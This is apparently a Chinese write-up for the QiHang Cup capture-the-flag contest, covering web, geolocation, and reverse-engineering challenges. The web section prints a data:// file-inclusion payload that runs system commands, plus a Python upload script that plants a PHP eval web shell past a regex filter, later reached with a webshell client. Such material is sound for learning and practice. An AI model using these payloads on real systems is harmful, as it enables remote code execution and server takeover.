启航杯writeup
一、web
1.Easy_include题解
- 打开网址得到php代码,发现存在可以通过伪协议来绕过过滤
2.构造伪协议
命令会反向输出所有以fl
开头的文件内容输出得到的内容。
?file=data://text/plain,<?=system('tac fl*');?>
3.得到flag
2.PCR(文件上传请求)
由if(empty($_FILES)) {
die(show_source(FILE));
}看出是上传文件。
段PHP代码的主要功能是处理文件上传,并对上传的文件进行简单的安全检查。以下是对这段代码的详细分析:
<?php
function is_php($data){return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}
#<\?php:匹配PHP代码的开始标记<?php。
.*?:非贪婪匹配任意字符,尽可能少地匹配。
eval:匹配字符串eval。
.*?\(.*?\):匹配eval函数的参数部分,非贪婪匹配。
\>:匹配PHP代码的结束标记>。
is:正则表达式的修饰符,i表示不区分大小写,s表示.可以匹配换行符if(empty($_FILES)) {die(show_source(__FILE__));
}#检查是否有文件上传。如果没有文件上传,显示当前文件的源代码并终止执行$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
#:读取上传文件的临时路径,并获取文件内容。
路径处理:$user_dir变量用于存储用户文件的目录,目录名称基于客户端IP地址的MD5值,这样可以避免目录冲突。
if (is_php($data)) {echo "bad request";
} else {if (!is_dir($user_dir)) {mkdir($user_dir, 0755, true);}$path = $user_dir . '/' . random_int(0, 10) . '.php';move_uploaded_file($_FILES['file']['tmp_name'], $path);header("Location: $path", true, 303);exit;
}#对文件内容进行安全检查,如果文件内容包含eval函数调用,则返回“bad request”。
目录创建:如果用户目录不存在,则创建该目录,权限为0755。
文件移动:将上传的文件移动到指定路径,文件名由随机整数(0-10)和.php后缀组成。
?> 1
构造python脚本
import requestsurl='http://2025.qihangcup.cn:32948/'file={'file':('1.php','<?=eval($_POST[1]:?>','image/png')}res=requests.post(url,files=file,allow_redirects=False)#allow_redirects=False不让其重定向
print(f"路径:{url}{res.headers['Location']},木马为:1")
or自己写一个提交表单
<formaction="http://challenge.qihangcup.cn:35056/"method="POST"enctype="multipart/form-data"
><input type="file" name="file" /><input type="submit" value="Upload File" />
</form>
最后用蚁剑连接
二Misc题解
1.请找出拍摄地所在位置
打开图片
可以发现有好多可确认的标识例如:
在地图搜索有关的文字:
最后得到
QHCTF{广西壮族自治区柳州市柳城县六广路与榕泉路交叉口}
三,逆向
checker
发现是一个输入字符串就是flag的进去-》》check_flag
数据流,将数据流转换为
.data:00404020 _encrypted_flag db 'rk`weXFF' ; DATA XREF: _check_flag+1D↑o
.data:00404028 db 15h
.data:00404029 db 40h ; @
.data:0040402A db 14h
.data:0040402B db 41h ; A
.data:0040402C db 1Ah
.data:0040402D db 40h ; @
.data:0040402E db 0Eh
.data:0040402F db 46h ; F
.data:00404030 db 14h
.data:00404031 db 45h ; E
.data:00404032 db 16h
.data:00404033 db 0Eh
.data:00404034 db 17h
.data:00404035 db 45h ; E
.data:00404036 db 42h ; B
.data:00404037 db 41h ; A
.data:00404038 db 0Eh
.data:00404039 db 1Ah
.data:0040403A db 41h ; A
.data:0040403B db 47h ; G
.data:0040403C db 45h ; E
.data:0040403D db 0Eh
.data:0040403E db 46h ; F
.data:0040403F db 42h ; B
.data:00404040 db 13h
.data:00404041 db 14h
.data:00404042 db 46h ; F
.data:00404043 db 13h
.data:00404044 db 10h
.data:00404045 db 17h
.data:00404046 db 45h ; E
.data:00404047 db 15h
.data:00404048 db 42h ; B
.data:00404049 db 16h
.data:0040404A db 5Eh ; ^
将加密数据转换为字节序列:
-
提取每个字节的十六进制值:
- 每两个字符表示一个字节。例如,
72
是一个字节,6B
是一个字节,依此类推。 - 十六进制的
h
表示这是一个十六进制数,例如15h
表示十六进制的15
。
- 每两个字符表示一个字节。例如,
-
将十六进制值转换为字节:
- 十六进制的每个字符代表一个 4 位的二进制值。例如:
0
=0000
1
=0001
2
=0010
- ...
9
=1001
A
=1010
B
=1011
- ...
F
=1111
- 两个十六进制字符组合成一个字节。例如:
72
=0111 0010
6B
=0110 1011
FF
=1111 1111
- 十六进制的每个字符代表一个 4 位的二进制值。例如:
-
将字节存储到内存中:
- 每个字节可以直接存储到内存中,或者用数组表示。
得到数据
726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E
进行异或
#bytes.fromhex() 将十六进制字符串转换为字节序列
#bytearray() 创建一个可变的字节数组,允许对每个字节进行修改
#bytearray 转换回不可变的字节序列(bytes),并打印结果cip = bytes.fromhex("726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E")
cip = bytearray(cip)
for i in range(len(cip)):cip[i] ^= 0x23print(bytes(cip))运行结果为b'QHCTF{ee6c7b9c-e7f5-4fab-9bdf-ea07e034f6a5}'
Rainbow
给出了output.txt
直接进行异或
#bytes.fromhex() 将十六进制字符串转换为字节序列
#bytearray() 创建一个可变的字节数组,允许对每个字节进行修改
#bytearray 转换回不可变的字节序列(bytes),并打印结果cip = bytearray(bytes.fromhex("0B12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D393F6D6227"))
for i in range(len(cip)):cip[i] ^= 90print(bytes(cip))运行结果为b'QHCTF{a8226103-5a9a-4fa7-abcf-dea438a7ce78}'
note
查看发现有upx壳所有要进行脱壳
在此文件打开cmd
脱壳完成
启动gdb
-
启动程序并暂停在入口点:
gdb复制
break _start run
这将启动程序并暂停在
_start
函数。 -
设置断点: 在程序暂停后,设置断点到你感兴趣的地址。例如:
gdb复制
brva 0x00000000000012A8
-
继续运行程序:
gdb复制
continue
程序将继续运行,直到到达你设置的断点。